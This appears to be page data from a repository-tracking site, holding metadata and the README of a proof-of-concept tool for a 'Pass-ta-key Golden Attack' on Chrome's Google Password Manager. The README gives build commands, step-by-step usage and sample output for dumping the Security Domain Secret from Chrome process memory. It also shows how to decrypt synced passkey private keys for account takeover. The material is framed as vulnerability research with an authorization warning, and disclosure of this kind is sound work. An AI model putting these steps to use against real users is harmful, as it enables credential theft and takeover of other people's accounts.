[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-112040":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":16,"stars30d":17,"stars90d":15,"forks30d":15,"starsTrendScore":18,"compositeScore":19,"rankGlobal":10,"rankLanguage":10,"license":20,"archived":21,"fork":21,"defaultBranch":22,"hasWiki":21,"hasPages":21,"topics":23,"createdAt":10,"pushedAt":31,"updatedAt":32,"readmeContent":33,"aiSummary":34,"trendingCount":15,"starSnapshotCount":15,"syncStatus":14,"lastSyncTime":35,"discoverSource":36},112040,"pass-ta-key","0rcruxe\u002Fpass-ta-key","0rcruxe","A PoC tool for the Pass-ta-key Golden Attack, covering the extraction of the Google Password Manager Security Domain Secret from Chrome process memory, and the decryption of synced GPM passkeys for Account Takeover.","",null,"C",63,10,2,0,3,8,1,45.42,"MIT License",false,"main",[24,25,26,27,28,29,30],"account-takeover","chrome","credential-extraction","google-password-manager","offensive-security","security-research","windows","2026-11-11 09:54:55","2026-11-21 20:30:11","\u003Cdiv align=\"center\">\n\n# Pass-ta-key Golden Attack PoC\n\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-yellow.svg)](https:\u002F\u002Fopensource.org\u002Flicenses\u002FMIT)\n![PoC](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Ftype-PoC-red.svg)\n\n\u003Cimg src=\"assets\u002Fillus.png\" alt=\"illus\" width=\"780\">\n\n\u003C\u002Fdiv>\n\n---\n\nThis tool is the PoC implementation for the **Pass-ta-key Golden Attack**, a new method for extracting the **Security Domain Secret (SDS)** of **Google Password Manager (GPM)** from Chrome process memory, parsing the locally stored `WebauthnCredentialSpecifics` records for each GPM passkey, and decrypting the ECDSA P-256 private keys of synced passkeys using the extracted SDS.\n\n**Affected Versions:** Because this vulnerability exploits an architectural flaw, it affects all versions of Chrome from 129 onward, starting with the introduction of native GPM passkeys on Chrome Desktop. This applies across all release channels, including Stable, Beta, Dev, and Canary.\n\nFor the full technical analysis, refer to my blog post: https:\u002F\u002F0rcruxe.github.io\u002Fposts\u002Fpass-ta-key-golden-attack-sds-extraction\u002F\n\n---\n\n> [!WARNING]\n> For educational and research purposes only. Use only on systems you own or have explicit permission to examine. Provided as-is, with no warranties of any kind.\n\n---\n\n## Security Domain Secret Extraction\n\nExtract the SDS from Chrome process memory during device onboarding to the enclave security domain by capturing CBOR buffers.\n\n### Build\n\n    x86_64-w64-mingw32-gcc -O2 -o sds_extractor.exe sds_extractor.c -lws2_32 -liphlpapi -static\n\n### Usage\n\nTarget a specific Google account by editing the Chrome profile paths inside the source file. Open Chrome, run the compiled binary, then trigger a passkey authentication (login or registration) to cause device registration with the enclave security domain and capture the SDS during its transit in memory.\n\n### Example\n\n```text\n================================================================\n  POC - Security Domain Secret (SDS) Extraction\n================================================================\n\n[*] Winsock initialized\n[*] 'passkey_enclave_state' deleted\n\n[*] Browser PID : 3016\n[*] enclave.ua5v.com resolved:\n      142.251.209.142\n\n[*] Monitoring TCP connections ...\n\n[19:06:23.157] [FILE] passkey_enclave_state CREATED\n[*] Scanning memory for 10 seconds...\n\n[19:06:23.478] [+] New TCP connection detected -> 142.251.209.142\n  [19:06:23.828] pass #5  1106 regions  0 candidate\n  [19:06:24.410] pass #10  1106 regions  0 candidate\n  [19:06:24.511] pass #11  1106 regions  1 candidate\n  ...\n  [19:06:33.206] pass #97  1121 regions  1 candidate\n\n================================================================\n[+] Security Domain Secret (SDS) Dumped : 1 candidate\n================================================================\n\n  #1\n  Patterns : keys\u002Fwrap & passkeys\u002Fassert\n\n  ----- [keys\u002Fwrap] @ 0x000032D401D10900 -----\n  000032D401D10900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  000032D401D10910  00 00 00 00 00 00 00 00 00 00 cd cd cd cd cd cd  ................\n  000032D401D10920  cd cd cd cd cd cd 01 00 00 00 81 a3 63 63 6d 64  ............ccmd\n  000032D401D10930  69 6b 65 79 73 2f 77 72 61 70 63 6b 65 79 58 20  ikeys\u002FwrapckeyX\n  000032D401D10940  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  \u003C\u003C\u003C SDS start\n  000032D401D10950  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  \u003C\u003C\u003C SDS end\n  000032D401D10960  67 70 75 72 70 6f 73 65 76 73 65 63 75 72 69 74  gpurposevsecurit\n  000032D401D10970  79 20 64 6f 6d 61 69 6e 20 73 65 63 72 65 74 cd  y domain secret.\n  000032D401D10980  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................\n  000032D401D10990  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................\n\n  ----- [passkeys\u002Fassert] @ 0x000032D401FD8A42 -----\n  000032D401FD8A42  00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00  ................\n  000032D401FD8A52  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................\n  000032D401FD8A62  00 81 a5 63 63 6d 64 6f 70 61 73 73 6b 65 79 73  ...ccmdopasskeys\n  000032D401FD8A72  2f 61 73 73 65 72 74 66 73 65 63 72 65 74 58 20  \u002FassertfsecretX\n  000032D401FD8A82  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  \u003C\u003C\u003C SDS start\n  000032D401FD8A92  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  \u003C\u003C\u003C SDS end\n  000032D401FD8AA2  67 72 65 71 75 65 73 74 a1 64 72 70 49 64 6a 67  grequest.drpIdjg\n  000032D401FD8AB2  69 74 68 75 62 2e 63 6f 6d 68 70 72 6f 74 6f 62  ithub.comhprotob\n  000032D401FD8AC2  75 66 59 01 77 0a 10 b3 a4 18 af ce 0e b6 0e c6  ufY.w...........\n  000032D401FD8AD2  67 0d e2 6c 1c d1 c2 12 10 95 9f 7f c5 d3 dc 19  g..l............\n\n  Security Domain Secret (SDS) : 41f337a9352c465d0ec05fbc280f314a059eaa4ed104cbb2de31007a940ba185\n\n[+] Done. SDS successfully extracted. Exiting.\n```\n### Demonstration\n\nhttps:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F883fd09b-8065-4501-8176-3c1280da202b\n\n---\n\n## Google Password Manager Passkey Extraction and Decryption\n\nParses the LevelDB database directory stored at `\u002FSync Data\u002FLevelDB` within a Chrome profile, extracts the `WebauthnCredentialSpecifics` records, and decrypts the GPM passkeys’ ECDSA P-256 private keys using the extracted SDS.\n\n### Installation\n\n```bash\npip install -r requirements.txt\n```\n\nThe `webauthn_credential_specifics.proto` file is already compiled into `webauthn_credential_specifics_pb2.py` and shipped with the repository.\n\n### Usage\n\n```\nusage: passkey_extractor.py [-h] \u003Ccommand> [options]\n\nExtract and decrypt Google Password Manager passkeys from a LevelDB database.\n\ncommands:\n\n  extract   Extract WebauthnCredentialSpecifics records from a LevelDB directory.\n              --leveldb-dir DIR   Path to the LevelDB directory.\n              --output-dir DIR    Directory where blobs and metadata are written.\n\n  decrypt   Decrypt a WebAuthn private key (ECDSA P-256) GPM passkey blob using the SDS.\n              --blob FILE         Path to the encrypted blob (enc_\u003Cid>.bin).\n              --sds HEX           32-byte Security Domain Secret (SDS), 64 hex chars.\n              --output-dir DIR    Directory where the recovered private key is written.\n\nexamples:\n\n  python passkey_extractor.py extract --leveldb-dir .\u002FLevelDB --output-dir .\u002Fout\n  python passkey_extractor.py decrypt --blob .\u002Fout\u002Fenc_xxxx.bin --sds \u003C64_hex> --output-dir .\u002Fout\n```\n\n### Example output\n\nExtraction of **`WebauthnCredentialSpecifics`** records:\n\n![LevelDB extraction](assets\u002Fwebauthn_records.png)\n\nDecryption of a GPM passkey’s ECDSA P-256 private key:\n\n![Private key decryption](assets\u002Fprivate_key.png)\n","这是一个针对Google密码管理器（GPM）Passkey功能的安全研究型概念验证工具，用于在Windows平台上从Chrome进程内存中提取安全域密钥（SDS），并解密同步的WebAuthn凭据私钥，实现账户接管（ATO）。其核心基于对Chrome 129+版本中Enclave安全域注册过程的内存分析，通过监控TCP连接与CBOR缓冲区定位SDS，再结合本地存储的WebauthnCredentialSpecifics记录完成解密。适用于红队演练、浏览器安全研究及身份认证机制漏洞评估等场景，仅限授权环境使用。","2026-11-24 04:42:11","CREATED_QUERY"]